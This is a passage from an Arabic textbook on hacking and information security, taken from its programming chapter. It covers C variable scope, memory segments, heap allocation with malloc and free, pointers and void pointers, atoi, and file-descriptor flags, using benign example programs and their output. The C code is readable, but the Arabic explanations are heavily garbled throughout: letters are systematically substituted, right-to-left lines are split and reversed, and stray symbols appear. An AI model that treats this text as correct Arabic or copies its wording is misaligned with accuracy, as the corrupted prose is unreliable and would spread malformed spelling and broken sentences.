func1 ‫ ولكن بعد أن قامت ال‬،!‫ الثالث‬instruction ‫ استكامل تنفيذ ال‬main( ) ‫ من عملها كي يتسنى لل‬func1 ‫ال‬

.‫ أيض ًا‬i ‫باعة قيمة‬


َ ‫ لتَقوم بط‬،func2 ‫ اىل ال‬call ‫ قامت ب َع َمل‬،i ‫بطباعة قيمة‬

Programming
[57]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الحظ أن ‪ func1‬ستنتظر ال ‪ func2‬لىل أن تنتهي من عملها كي تقوم باستكامل تنفيذ السطر الثالث ِبا‪ ،‬ومن َثم يعود‬
‫ال ‪ pointer‬لىل ال ) (‪ .main‬لكن قامت أيض ًا ‪ func2‬بعمل ‪ call‬لل ‪ func3‬يف السطر الثاين‪..‬‬
‫بعد قيام ‪ func3‬بطباعة قيمة ‪ i‬توقفت!‪ ..‬قعاد التسلسل بالرتتيب كام صعد بالرتتيب‪ ،‬حيث يعود ال ‪ pointer‬لىل ال‬
‫‪ func2‬لتقوم بتنفيذ السطر الثالث‪ ..‬ثم ينتقل لىل ال ‪ func1‬لتَقوم بطباعة السطر الثالث لدهيا‪ ..‬ثم ينتقل مر ًة أطرى اىل‬
‫يمة ‪ُ i‬جمدّ د ًا وذو ‪ ،3‬واآلن يبدو أنك قهمت‬ ‫ال ) (‪ main‬لتقوم يف النهاية بتنفيذ ال ‪ instruction‬االطرية ُ‬
‫حيث تَط َبع ق َ‬
‫كيف ستكون النتائج!‪.‬‬

‫الحظ اطتالف قيمة ‪ i‬من ‪ function‬ألطرى ألنه يتم تعريفها عىل ذيئة ‪ local variable‬لكل ‪ function‬عىل حده!‪.‬‬
‫ل ُنلق نظرة عىل النتائج‪:‬‬
‫‪reader@hacking:~/booksrc $ gcc scope.c‬‬
‫‪reader@hacking:~/booksrc $ ./a.out‬‬
‫‪[in main] i = 3‬‬
‫‪[in func1] i = 5‬‬
‫‪[in func2] i = 7‬‬
‫‪[in func3] i = 11‬‬
‫‪[back in func2] i = 7‬‬
‫‪[back in func1] i = 5‬‬
‫‪[back in main] i = 3‬‬
‫‪reader@hacking:~/booksrc $‬‬

‫‪Programming‬‬
‫]‪[58‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ من نوع‬variable ‫ تُعت ََرب ال‬..“Global Variables” ‫ ذيا بنا لننتقل لىل ال‬..“Local Variables” ‫لقد َقهمنا ال‬
.functions ‫ طارج مجيع ال‬،‫“ لذا تم تعريفها يف بداية الكود‬global”

:‫تأمل ذذا املثال‬


#include <stdio.h>

int j = 42; // j is a global variable.

void func3() {
int i = 11, j = 999; // Here, j is a local variable of func3( ).
printf("\t\t\t[in func3] i = %d, j = %d\n", i, j);
}

void func2() {
int i = 7;
printf("\t\t[in func2] i = %d, j = %d\n", i, j);
printf("\t\t[in func2] setting j = 1337\n");
j = 1337; // Writing to j (this is not local variable!)
func3();
printf("\t\t[back in func2] i = %d, j = %d\n", i, j);
}

void func1() {
int i = 5;
printf("\t[in func1] i = %d, j = %d\n", i, j);
func2();
printf("\t[back in func1] i = %d, j = %d\n", i, j);
}

int main() {

int i = 3;
printf("[in main] i = %d, j = %d\n", i, j);
func1();
printf("[back in main] i = %d, j = %d\n", i, j);
}

Programming
[59]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫نبدأ بال ) (‪:main‬‬

‫تقوم دالة ال ‪ printf‬بطباعة )‪ (i=3‬و )‪ (j=42‬ألن ‪ j‬تم تعريفها قوق‪ ..‬قبل أي يشء قهي ‪ ،global variable‬أي أن هلا‬
‫موضع يف ال ‪ memory‬بحيث ُيمكن جلميع ال ‪ functions‬أن تصل لليه!‪ .‬بعكس ال ”‪ “local variables‬حيث يتم‬
‫ختزينها مع حمتويات ال ‪ function‬اخلاصة ِبا ققط‪.‬‬
‫ا ُملهم‪..‬‬
‫ننتقل لىل ال ‪ func2‬حيث تم تعريف )‪.. (local var i‬يتم طباعته وطباعة (‪ ،)j = 42‬الهنا ‪.global‬‬
‫ُثم حيدُ ث يشء عجيب!‪ .‬سنقوم بتعديل قيمة ال (‪ ،)global var j‬وذلك عندما كتبنا )‪ (j = 1337‬بدون أن نَذكُرذا يف‬
‫بداية ال ‪ func2‬بصيغة ”‪.. “int j‬قهذه صيغة ال ‪ .local vars‬واآلن حدث تعديل يف قيمة ”‪ “j‬ققد أصبحت ‪1337‬‬

‫بدالً من ‪.42‬‬

‫ال من (‪ i‬و ‪ ) j‬عىل أهنم ‪ ،local vars‬ققد استخدمنا ‪ُ j‬ذنا داطلي ًا وأعطيناذا قيمة‬
‫ننتقل اىل ال ‪ func3‬حيث تم تعريف ك ً‬
‫ذي ‪ ،999‬وبالتايل سيقوم ال ‪ compiler‬باستخدام ال ‪ j‬التي تم تعريفها ك ‪ local‬عن تلك ال ‪ global‬أثناء تعا ُمله مع‬

‫) (‪ُ ..func3‬ثم أثناء ال َعو َدة لىل ال ) (‪َ func2‬س َيتم التَعا ُمل مع ال ”‪ “j‬ال ‪ global‬التي ُقمنا بتَغيري َ‬
‫قيمتها لىل ‪ 1337‬قبل‬
‫َع َمل ال ‪ call‬لل ) (‪ُ func3‬مبارشةً‪َ ،‬قنَط َبع قيمة ‪ i‬و ‪ُ j‬جمدد ًا‪ُ ..‬ثم تنتهي ال ) (‪ func2‬من َع َملها ل َيعود ال‬
‫”‪ “instruction pointer‬لىل ال ‪ Caller function‬وذي ) (‪ ..func1‬وحتديد ًا‪ ،‬آطر سطر قيها‪ ،‬يتم تنفيذه ثم العودة لىل‬
‫ال ) (‪ main‬مر ًة أطرى‪ ،‬ألهنا ذي ال ‪ caller‬األسايس لل ) (‪.func1‬‬

‫‪Programming‬‬
‫]‪[60‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫النتائج‬
reader@hacking:~/booksrc $ gcc scope2.c
reader@hacking:~/booksrc $ ./a.out
[in main] i = 3, j = 42
[in func1] i = 5, j = 42
[in func2] i = 7, j = 42
[in func2] setting j = 1337
[in func3] i = 11, j = 999
[back in func2] i = 7, j = 1337
[back in func1] i = 5, j = 1337
[back in main] i = 3, j = 1337
reader@hacking:~/booksrc $

Programming
[61]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Memory Segmentation

..!‫لنخرج لىل قاصل آطر‬


ُ ‫ذيا‬
،x86 architecture ‫ كُنا قد تكلمنا من قبل عن ال‬.memory segmentation ‫َسنَتَك ّلم عن بعض األمور املُ َت َعلقة بال‬

.‫ وسنتكلم َعن ُه الحق ًا يف الباب الثالث أيض ًا‬،‫ ُجم َدّ د ًا لتَوضيح َبعض األمور‬architecture ‫سنتكلم عن ذذا ال‬

ّ ‫كَام تَرى َقهو َي‬


:hardware ‫تكون من ثالثة ُمكونات‬
 The central processing unit (CPU) executes code.
 The main memory of the system (RAM) stores all data and code.
 An input/output system (I/O) interfaces with devices such as hard drives, Keyboards, and
monitors.

Programming
[62]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لنَنتقل لىل ال ‪َ Main Memory‬قه َي ما نُريده اآلن‪.‬‬


‫تُقسم ال ‪ RAM‬اىل أربعة أقسام أساسية وذي‪:‬‬
‫‪Data, Code, Heap, and Stack‬‬

‫ماييل شكل يوضح ال ‪ Main Memory‬وبعض ال ‪ Sections‬بداطلها‪ ،‬سنقوم لنشاءاهلل برشح وظيفة كل منهم‪.‬‬

‫‪Programming‬‬
‫]‪[63‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Data‬‬
‫ذذا ذو ُمَ َزن ال ‪ Values‬عندما َيتم َع َمل ‪ load‬للربنامج‪َ .‬ذذه ال ‪ values‬لما أن تكون ‪ Static values‬بمعنى أهنا ال‬
‫تتغري أثناء َع َمل الربنامج‪ .‬أو النوع اآلطر وذو ال ‪ Global values‬وذو أهنا قيم متاحة ألي ‪ function‬داطل‬
‫الربنامج‪.‬‬
‫أي من ذذه األنواع من ا ُملتغريات قد تم عمل ‪ initialized‬هلا بقيمة‬
‫لكن ذناك مالحظة صغرية‪ ..‬نعني بال ”‪ “Data‬أن ٍّ‬
‫حمددة‪ ،‬سنقوم بوضعها يف ال"‪ ."Data Section‬أما لذا مل نُعرقها بقيمة ُحمددة قلن يتم وضعها ذنا!‪ ،‬ستذذب لىل‬
‫‪ section‬آطر يسمى ”‪.“Bss Section‬‬

‫الفرق بني ال ‪ initialized‬وال ‪:uninitialized‬‬


‫;‪int global_var‬‬

‫;‪int global_initialized_var = 5‬‬

‫يف احلالة األوىل سيتم ختزين ذذا املتغري يف قسم ال "‪ "Bss‬ألنه ُيعت ََرب ‪ .Uninitialized variable‬أما يف احلالة الثانية‬
‫قنحن ُقمنا بإعطائه قيمة ذي (‪ ،)5‬قأصبح "‪ ،"initialized var‬وبالتايل سيتم ختزينه يف قسم ال "‪."Data‬‬

‫‪Code or Text Section‬‬


‫ذذا ذو املكان الذي يذذب لليه ال ‪ Compiled Code‬قهو حيتوي عىل ال ‪.instructions‬‬

‫‪Programming‬‬
‫]‪[64‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Heap‬‬
‫ذذه ال ‪ Segment‬مهمة جد ًا‪ ،‬قهي مسؤولة عن ال ‪ Dynamic memory‬أثناء ال ‪ .program execution‬لهنا تقوم‬
‫بعمل ‪ allocate‬لل ‪ values‬اجلديدة التي تظهر أثناء عمل الربنامج‪ ،‬ويف نفس الوقت تقوم أيض ًا بعمل ‪ free‬أي تفريغ‬
‫لل ‪ memory‬من القيم التي مل يعد الربنامج بحاجة لليها!‪ ،‬هلذا يطلق عليها بال "‪ "Dynamic memory‬ألهنا تزيد‬
‫وتنقص بنا ًء عىل املتطلبات‪.‬‬
‫مثاالً عىل ذلك ا ُملتصفحات‪َ ،‬قه َي تعتمد عىل ذذا املَبدأ ألهنا تستهلك الذاكرة وقق نوع النشاط الذي متارس ُه أنت عىل‬
‫االنرتنت‪ ..‬يوجد نوع من الثغرات ُيسمى ”‪ُ “Heap Overflow‬يمكنُك القراءة عنه‪.‬‬

‫‪Stack‬‬
‫كُنا قد تكلمنا عنها مسبق ًا‪ ..‬وكام أرشنا أهنا تتعامل مع ال ‪ Local Variables‬وال ‪ parameters‬اخلاصة بال‬
‫‪ .Functions‬ستالحظ وجود عالقة بني ال ‪ Heap‬و ال ‪ Stack‬حيث يتموضعان يف نفس املساحة كل م ُنهام يف طرف‪،‬‬
‫َيزيدان و َين ُقصان وقق ًا للحاجة!‪ ،‬قربام تزداد ال ‪ stack‬عىل حساب ال ‪ ،heap‬والعكس صحيح!‪ ،‬وذذا لتحسني‬
‫استغالل ال ‪ memory‬ولتاليف اهلدر يف املساحات قدر املستطاع‪.‬‬

‫الحظ ال ‪ Heap‬وال ‪ Stack‬يف الشكل التايل‪:‬‬


‫أيض ًا يظهر به ال "‪ "Bss Section‬الذي مل يظهر يف ال ‪ Layout‬املايض‪ ..‬ت ََذكر أنه ُُمَصص لتَخزين ال‬
‫"‪."Uninitialized variables‬‬

‫‪Programming‬‬
‫]‪[65‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذيا لنَعود من َجديد الستكامل األساسيات الربجمية‪ ..‬ال تقلق ققد شارقنا عىل االنتهاء من ذذا الباب!‪.‬‬

‫‪The Heap‬‬

‫كام ذكرنا من قبل‪ ،‬أن َطري َقة ال ‪ُ declare‬‬


‫للمتغري ذي التي ست َُحدّ د أين َس َيتم َوض ُع ُه‪ ،‬لما يف ال ‪ Bss Segment‬أو يف ال‬
‫‪ .Data Segment‬بينام لذا أردنا حجز مساحة داطل ال ‪ Heap‬قنستخدم ‪ function‬تُد َعى ) (‪َ ،malloc‬حي ُث تستقبل‬

‫‪Programming‬‬
‫]‪[66‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫تتمكّن ال ) (‪ malloc‬من حجز‬


‫منك ذذه الدالة ‪ argument‬وحيده وذي ال ‪ ،Size‬املساحة التي ت ََود َحجزذا‪ ،‬ولذا مل َ‬
‫تلك املساحة قإهنا تُرجع لك "‪."Null Pointer with value 0‬‬

‫أيض ًا م َن ال َبدهيي وجود ‪ُ Function‬مناظرة َهلا لكَي تَقوم بتَفريغ مساحة ال ‪ Heap‬كي ُمتَكن َُك من استخدامها الحق ًا‪..‬‬
‫ُيط َلق عليها ) (‪.Free‬‬

‫ما ييل شكل الدالة‪:‬‬


‫;]‪int array[10‬‬
‫;))‪int * array = malloc(10 * sizeof(int‬‬

‫يف ُل َغة ال ‪َ ،C‬يتم تنفيذ ال َقوس الداطيل أوالً‪ُ ،‬ثم اخلارجي‪ُ ..‬ذنا ستقوم ال ) (‪ sizeof‬بحساب املساحة ا َملطلوبة ُ‬
‫حيث‬
‫تقوم بالتايل‪ :‬املساحة املَطلوبة ل ‪ One Integer‬مرضوبة يف ‪ ،10‬بمعنى‪" :‬مساحة الستيعاب عرشة أرقام من نوع ‪."int‬‬

‫ثم تقوم ال ) (‪ malloc‬بحجز املساحة داطل ال ‪ Heap‬وتُرجع َلنا ‪ُ pointer‬يشري لىل عنوان ذذا ال ‪ block‬داطل ال‬
‫‪ ،!Heap‬ذذا ال ‪ pointer‬يف مثالنا باألعىل سيكون‪.*array :‬‬
‫ٍ‬
‫مساحة ما يف ال ‪ Heap‬دون االذتامم بال ‪ Data type‬ا ُملراد‬ ‫ذناك مالحظة متعلقة بال ) (‪ malloc‬قهي تقوم بحجز‬
‫َحجز املساحة ل ُه!‪ ،‬قتقوم بإرجاع لنا ‪ pointer‬لكن من نوع ‪..Void‬‬

‫حلظة!‪..‬ما ذذا ال ‪ void pointer‬؟‬


‫حسن ًا‪..‬يمكنك الذذاب للفقره التالية التي بعنوان "‪ُ .. "void pointer‬ثم ُعد لىل ُذنا من جديد‪.‬‬

‫‪Programming‬‬
‫]‪[67‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫واآلن وبعد َأن َقهمت ال ‪ ،void pointer‬ذيا لنقوم بحل ذذا اإلشكال اخلاص بال ) (‪ .malloc‬سنقوم بإضاقة ٍ‬
‫يشء ما‬ ‫َ‬ ‫َ‬
‫للتأكيد عىل نوع ال ‪ data type‬ا َملحجوزة يف ال ‪ ..heap‬ببساطة سنقوم ب َع َمل ‪ Casting‬هلذا ال ‪ void pointer‬لىل ال‬
‫‪ data type‬التي ن ََود َحجز املساحة هلا!‪.‬‬

‫ذل نسيت ال ‪ Cast‬؟‪..‬‬


‫ُيمكنُك ُمراجعته لن احتجت‪ ،‬بالعوده لىل ققرة ال ‪.Typecasting‬‬

‫ذذا مثال يوضح لك احلالتني‪ ..‬األوىل بدون ‪ ،Cast‬والثانية بال ‪.Cast‬‬


‫;‪int * ptr‬‬
‫;))‪ptr = malloc(10 * sizeof(int‬‬ ‫‪/* without a cast */‬‬
‫;))‪ptr = (int *)malloc(10 * sizeof(int‬‬ ‫‪/* with a cast */‬‬

‫يف بعض األحيان تفشل ال ) (‪ malloc‬يف حجز املساحة ُربام لك َرب حجم ال ‪ buffer‬املطلوب أو ألي سبب آطر‪،‬‬
‫وبالتايل ُيمكننا لضاقة كود بسيط يقوم بعمل ‪ Error checking‬ليتأكد لنا من عملية ال ‪.allocation‬‬
‫;))‪int * array = malloc(10 * sizeof(int‬‬
‫{ )‪if (NULL == array‬‬
‫;)"‪fprintf(stderr, "malloc failed\n‬‬
‫;)‪return(-1‬‬
‫}‬

‫حاجة ل َبعض ا َملفاذيم األولية لن َ‬


‫َضمن ال َفهم اجليد‬ ‫لنرى مع ًا كيف تعمل ذذه ال ‪ Functions‬بمثال رائع!‪ ،‬ولكن ن ُ‬
‫َحن ب َ‬
‫هلذا املثال‪ .‬ت ََذكر َأننا َقد تَكلمنا عن ال ‪ pointers‬و َأنواعها‪ ،‬مارأيك بإجراء مراجعة ِسيعة؟‪ ..‬ال بأس!‪..‬‬

‫‪Programming‬‬
‫]‪[68‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫انتبه هلذا الشكل‪:‬‬

‫فهم ُه َجيد ًا‪َ ..‬‬


‫أليس كذلك؟‪ ..‬قمثالً‪ ،(i = 3) :‬بينام )‪.(&i = 65524‬‬ ‫أ ُظن أننا َن َ‬
‫لنأطذ مثال عىل ذذا املتغري ‪:i‬‬
‫)(‪int main‬‬
‫{‬
‫;‪int *ptr, i‬‬
‫;‪i = 3‬‬

‫‪/* address of i is assigned to ptr */‬‬


‫;‪ptr = &i‬‬

‫‪/* show i's value using ptr variable */‬‬


‫;)‪printf("Value of i : %d", *ptr‬‬

‫;‪return 0‬‬
‫}‬

‫تغري ‪ ،i‬و ‪ pointer‬اسم ُه ‪ُ ،ptr‬ثم جعلنا ذذا ال ‪ُ pointer‬يشري لىل ال "‪ ."address-of i‬ثم أردنا طباعة‬
‫ُقمنا بتَعريف ُم ّ‬
‫حمتويات ذذا ال "‪ "block of memory‬الذي ُيشري لليه ال ‪ ،pointer‬وذو الرقم (‪ُ ،)3‬ذنا سنضع (*) قبل ال ‪pointer‬‬

‫عندما نستدعيه داطل ال ) (‪ ،printf‬وتُسمى ذذه العملية ”‪“Dereferencing of Pointer‬‬

‫‪value of i : 3‬‬ ‫وتكون املخرجات يف النهاية كاتايل‪:‬‬

‫‪Programming‬‬
‫]‪[69‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫نستطيع تلخيص األمر يف اآليت‬

 (&) symbol is used to get address of variable


 (*) symbol is used to get value from the address given by pointer.
 (*) Symbol when used with Pointer variable it refers to variable being pointed to, this is
called as “Dereferencing of Pointers”.

:‫ما ييل شكل توضيحي أطري‬


‫ وذذا اجلدول يوضح نقاط التشابه بني ال‬،‫( ل ُيشري لىل ذذا ا ُملتغري‬ptr ‫ لسم ُه‬pointer) ‫( و‬num ‫ُذنا عرقنا ) ُمتغري لسم ُه‬
*ptr ‫“ ا ُملت ََم ِّثل يف الرمز‬Dereferencing of Pointer ptr” ‫ وال‬num ‫& و عىل الوجه اآلطر قيمة املتغري‬num ‫ و ال‬ptr

.!‫حيث كالذم حيمل نفس املعنى‬

Variable Value in it

num 50

&num 1002

ptr 1002

*ptr 50

Programming
[70]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Void Pointer

..void pointer ‫جاء دور ال‬

‫ ُثم أردنا‬،(integer, float, and character) :ً‫ لثالثة أنواع من املتغريات مثال‬declare ‫لنفرض أننا قمنا بعمل‬
..pointers ‫ سنقوم حينها بتعريف ثالثة أنواع من ال‬،‫ ُيشري لىل لليه بنا ًء عىل نوعه‬pointer ‫ختصيص لكل ُمتغري منهم‬

‫" َس ُيو ِّقر َعلينا اجلهد ألننا سنتمكن من‬void pointer" ‫ ذذا ال‬.‫ وحيد‬pointer ‫يمكنُنا توقري اجلهد واإلكتفاء ب‬
ُ ‫ولكن‬
.‫ حسب احلاجة‬character pointer ‫ أو‬integer pointer ‫ُمعا َملته ك‬

:‫ذذا مثال للتوضيح‬

void *ptr; // ptr is declared as Void pointer

char charnum;
int intnum;
float floatnum;

ptr = &charnum; // ptr has address of character data


ptr = &intnum; // ptr has address of integer data
ptr = &floatnum; // ptr has address of float data

:‫“ ُذنا ِبذه النقاط‬void ptr” ‫نستطيع تلخيص ما سيقوم به ال‬

Programming
[71]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Scenario Behavior

When We assign address of integer variable to void


Void Pointer Becomes Integer Pointer
pointer

When We assign address of character variable to void Void Pointer Becomes Character
pointer Pointer

When We assign address of floating variable to void Void Pointer Becomes Floating
pointer Pointer

‫) اىل ال‬character data type( ‫ تُستخدَ م للتحويل من ال‬atoi( ) ‫ تسمى‬Function ‫وأطري ًا أود أن أتكلم عن‬
‫( يف متغري من نوع ُمتلف‬integers) ‫ قيام ييل مثال يوضح كيف قمنا بوضع جمموعة أرقام‬..)integer data type(
:‫) وعرضها عىل الشاشة‬character)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
int val;
char str[20];

strcpy(str, "98993489");
val = atoi(str);
printf("String value = %s, Int value = %d\n", str, val);

return(0);
}

Programming
[72]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫تكون النتائج كالتايل‬


String value = 98993489, Int value = 98993489

.Heap Segment ‫ انتهينا من ا ُملقدمة التي تسبق مثال ال‬..‫حسن ًا‬

Heap Example:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {


char *char_ptr; // A char pointer
int *int_ptr; // An integer pointer
int mem_size;

if (argc < 2) // If there aren't command-line arguments,


mem_size = 50; // use 50 as the default value.
else
mem_size = atoi(argv[1]);

printf("\t[+] allocating %d bytes of memory on the heap for


char_ptr\n", mem_size);
char_ptr = (char *) malloc(mem_size); // Allocating heap memory

if(char_ptr == NULL) { // Error checking, in case malloc( ) fails


fprintf(stderr, "Error: could not allocate heap memory.\n");
exit(-1);
}

strcpy(char_ptr, "This is memory is located on the heap.");


printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);

printf("\t[+] allocating 12 bytes of memory on the heap for

Programming
[73]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

int_ptr\n");
int_ptr = (int *) malloc(12); // Allocated heap memory again

if(int_ptr == NULL) { // Error checking, in case malloc( ) fails


fprintf(stderr, "Error: could not allocate heap memory.\n");
exit(-1);
}

*int_ptr = 31337; // Put the value of 31337 where int_ptr is pointing.


printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr);

printf("\t[-] freeing char_ptr's heap memory...\n");


free(char_ptr); // Freeing heap memory

printf("\t[+] allocating another 15 bytes for char_ptr\n");


char_ptr = (char *) malloc(15); // Allocating more heap memory

if(char_ptr == NULL) { // Error checking, in case malloc( ) fails


fprintf(stderr, "Error: could not allocate heap memory.\n");
exit(-1);
}

strcpy(char_ptr, "new memory");


printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);

printf("\t[-] freeing int_ptr's heap memory...\n");


free(int_ptr); // Freeing heap memory
printf("\t[-] freeing char_ptr's heap memory...\n");
free(char_ptr); // Freeing the other block of heap memory

‫ ذي أول‬arg[1] ‫ ُثم‬،‫ ذو اسم الربنامج نفسه‬arg[0] ‫ ت ََذكر أن ال‬..cmd-line arguments ‫يف البداية ُقمنا باستخدام ال‬
.‫ بعد لسم الربنامج‬..‫ نقوم بكتابتها نَحن‬string

Programming
[74]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُخيربنا يف دالة ‪ if‬أن ُه سيستقبل ال ]‪ arg[1‬ليقوم بتحويلها لىل ‪ integer‬باستخدام ) (‪ atoi‬ثم وضعها يف املتغري‬
‫‪ ،mem_size‬الحظ أنه لذا مل يرى ال ‪ compiler‬أي ‪ arguments‬غري األوىل ققط قسيقوم بتحديد مساحة لقرتاضية لل‬
‫‪ mem_size‬ب ‪ ،50 Bytes‬كي نضمن عمل الربنامج بأي حال‪ .‬ثم تقوم ) (‪ printf‬بطباعة ما حتويه ‪ ،mem_size‬يف‬
‫حالتنا ذذه ستكون ‪ 50‬حيث أننا مل نُدطل أي ‪ .Argus‬ثم تقوم ال ) (‪ malloc‬بحجز املساحة املطلوبة يف ال ‪Heap‬‬

‫ولرجاع ال ‪ pointer‬مع عمل ال ‪ Cast‬له كام رشحنا سابق ًا‪ .‬الحظ اآلن أن ‪ char_ptr‬أص َب َح ُيشري لىل ماييل‪:‬‬
‫"‪."address of memory allocated in Heap‬‬

‫وباستخدام ) (‪ strcpy‬سنَقوم بوضع ُمج ٍ‬


‫لة ما يف ذذا ال ‪ block of memory‬الذي تَم َحجزه لنا كام ترى يف ذذا‬ ‫َ‬ ‫َ‬
‫السطر‪:‬‬
‫;)"‪strcpy(char_ptr, "This is memory is located on the heap.‬‬

‫ثم نقوم بطباعة عنوان ذذا ال ‪ block‬باستخدام ال ‪ ،)%p( operator‬واجلملة التي بداطله‪:‬‬
‫;)‪printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr‬‬

‫ثم ُقمنا بعمل ‪ allocation‬مر ًة أطرى ولكن َحددنا املساحة التي نُريدُ ذا بشكل ُمبارش "‪"12 Bytes‬‬
‫;)‪int_ptr = (int *) malloc(12‬‬

‫الحظ ال ‪ Cast‬ذنا اىل ‪ int‬ألننا سنضع بداطلها العدد "‪.."31337‬‬

‫بمناسبة ال ‪ُ ..pointers‬قل يل ما معنى ذذه ال ‪Instruction‬؟‬


‫ُ‬
‫;‪*int_ptr = 31337‬‬

‫‪Programming‬‬
‫]‪[75‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫ كام ذو موضح‬heap ‫ لل‬free ‫ثم نقوم بعمل‬


printf("\t[-] freeing int_ptr's heap memory...\n");
free(int_ptr); // Freeing heap memory
printf("\t[-] freeing char_ptr's heap memory...\n");
free(char_ptr); // Freeing the other block of heap memory

:‫ماييل نتائج الكود‬


reader@hacking:~/booksrc $ gcc -o heap_example heap_example.c
reader@hacking:~/booksrc $ ./heap_example
[+] allocating 50 bytes of memory on the heap for char_ptr
char_ptr (0x804a008) --> 'This is memory is located on the heap.'
[+] allocating 12 bytes of memory on the heap for int_ptr
int_ptr (0x804a040) --> 31337
[-] freeing char_ptr's heap memory...
[+] allocating another 15 bytes for char_ptr
char_ptr (0x804a050) --> 'new memory'
[-] freeing int_ptr's heap memory...
[-] freeing char_ptr's heap memory...
reader@hacking:~/booksrc $

.Heap ‫لىل ذنا نكون قد انتهينا من ال‬


.“Flie Descriptors” ‫ سنتكلم عن ال‬..‫ َسنستخدم ُه كثري ًا يف الفصول القادمة‬،!‫َسننتقل لىل موضوع ُمهم‬

Programming
[76]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪File Access‬‬
‫عندما ترغب بفتح ٍ‬
‫ملف ما عىل جهازك‪ ،‬مث ً‬
‫ال ملف ‪ ،Notepad‬مالذي َحيدُ ث يف ال ‪ Operating System‬عندما يتم‬
‫َقتح ا َمللف أمامك؟‪.‬‬
‫يقوم نظام التشغيل لديك بإنشاء ‪ Entry‬هلذه العملية (عملية قتح ذذا امللف)‪ُ ،‬خي َِّزن قيه البيانات ا ُملتَع ِّلقة ِبذا ا َمللف‬
‫ويقوم بالتعبري عن ذذا ال ‪ Entry‬برقم‪ ..‬مث ً‬
‫ال ‪ ،100‬ذذا الرقم ‪ unique‬هلذا امللف‪ ،‬قإذا أردت قتح عدد من امللفات يف‬
‫ٍ‬
‫مكان ما‬ ‫ال عرشة ملفات‪ ،‬سيقوم نظام التشغيل بتكوين "‪ ،"10 Entries‬تتخزن ذذه ال ‪ Entries‬يف‬ ‫نفس الوقت مث ً‬
‫نهم بأرقام )‪.(100, 101, 102, 103,…109‬‬
‫داطل ال ‪ ،Kernel‬و ُي َعرب َع ُ‬
‫ذذه األرقام ُيط َلق َعليها "‪."File Descriptors‬‬

‫قام ذو ال ‪ File Descriptor‬؟‪.‬‬


‫”‪“It is an integer number that uniquely represents an opened file in operating system‬‬

‫وما ذي قائدته؟‪.‬‬
‫يبدو أهنا طريقة َيستَخدمها نظام التشغيل ل َع َمل ‪ Tracking‬للملفات املفتوحة َلديه‪.‬‬
‫تَستَخدم ذذه ال ‪ file descriptors‬جمموعة من ال (‪ )Low-Level Functions‬للتعامل مع امللفات‪ ،‬نذكر أمهها‪:‬‬
‫)(‪open(), close(), read(), and write‬‬
‫ذذه ال ‪ functions‬تقوم بإرجاع )‪ (-1‬يف حالة حدوث أي ‪َ .Error‬سنُعطي مثال يرشح ال ‪ file descriptor‬وبعض ال‬
‫‪.low-level functions‬‬

‫‪Programming‬‬
‫]‪[77‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قيام ييل برنامج يقوم باستقبال ‪ note‬أو ُمجلة َقصرية منك عىل َذيئة ‪ُ command-line argument‬ثم َيقوم ب َفتح َملف‬
‫ولضاقة َذذه اجلُملة يف هناية ذذا ا َمللف (بمعنى أنه لن يقوم ب َع َمل ‪ overwrite‬للبيانات التي بداطله‪ ،‬لن ُوجدَ ت)‪..‬ذذا‬
‫امللف مسار ُه كام ييل‪/tmp/notes :‬‬

‫قبل أن نبدأ‪ ..‬ال ُبد وأن تتوقع أننا َسنستَخدم ) (‪ open‬لنَفتَح ذلك ا َمللف‪ ،‬و ) (‪ write‬لنَكتُب داطله ما ستُعطيه َلنا‪ ،‬و‬
‫) (‪ close‬لنَقوم بإغالقه َبعد اإلنتهاء‪ .‬لال أن ) (‪ open‬ذذه تأيت دائ ًام َمصحو َبة ب َبعض التفاصيل املُ َت َع ِّلقة بال‬
‫‪..Access Mode‬‬
‫ذل سيكون ‪Read only‬؟‪ ،‬أم ‪Write only‬؟‪ ،‬أم اإلثنان مع ًا؟ ‪..‬ذذه التفاصيل تُسمى "‪."Flags‬‬

‫ماييل َبعض ًا منها‪:‬‬


‫‪O_RDONLY Open file for read-only access.‬‬
‫‪O_WRONLY Open file for write-only access.‬‬
‫‪O_RDWR Open file for both read and write access.‬‬

‫‪O_APPEND Write data at the end of the file.‬‬


‫‪O_TRUNC If the file already exists, truncate the file to 0 length.‬‬
‫‪O_CREAT Create the file if it doesn’t exist.‬‬

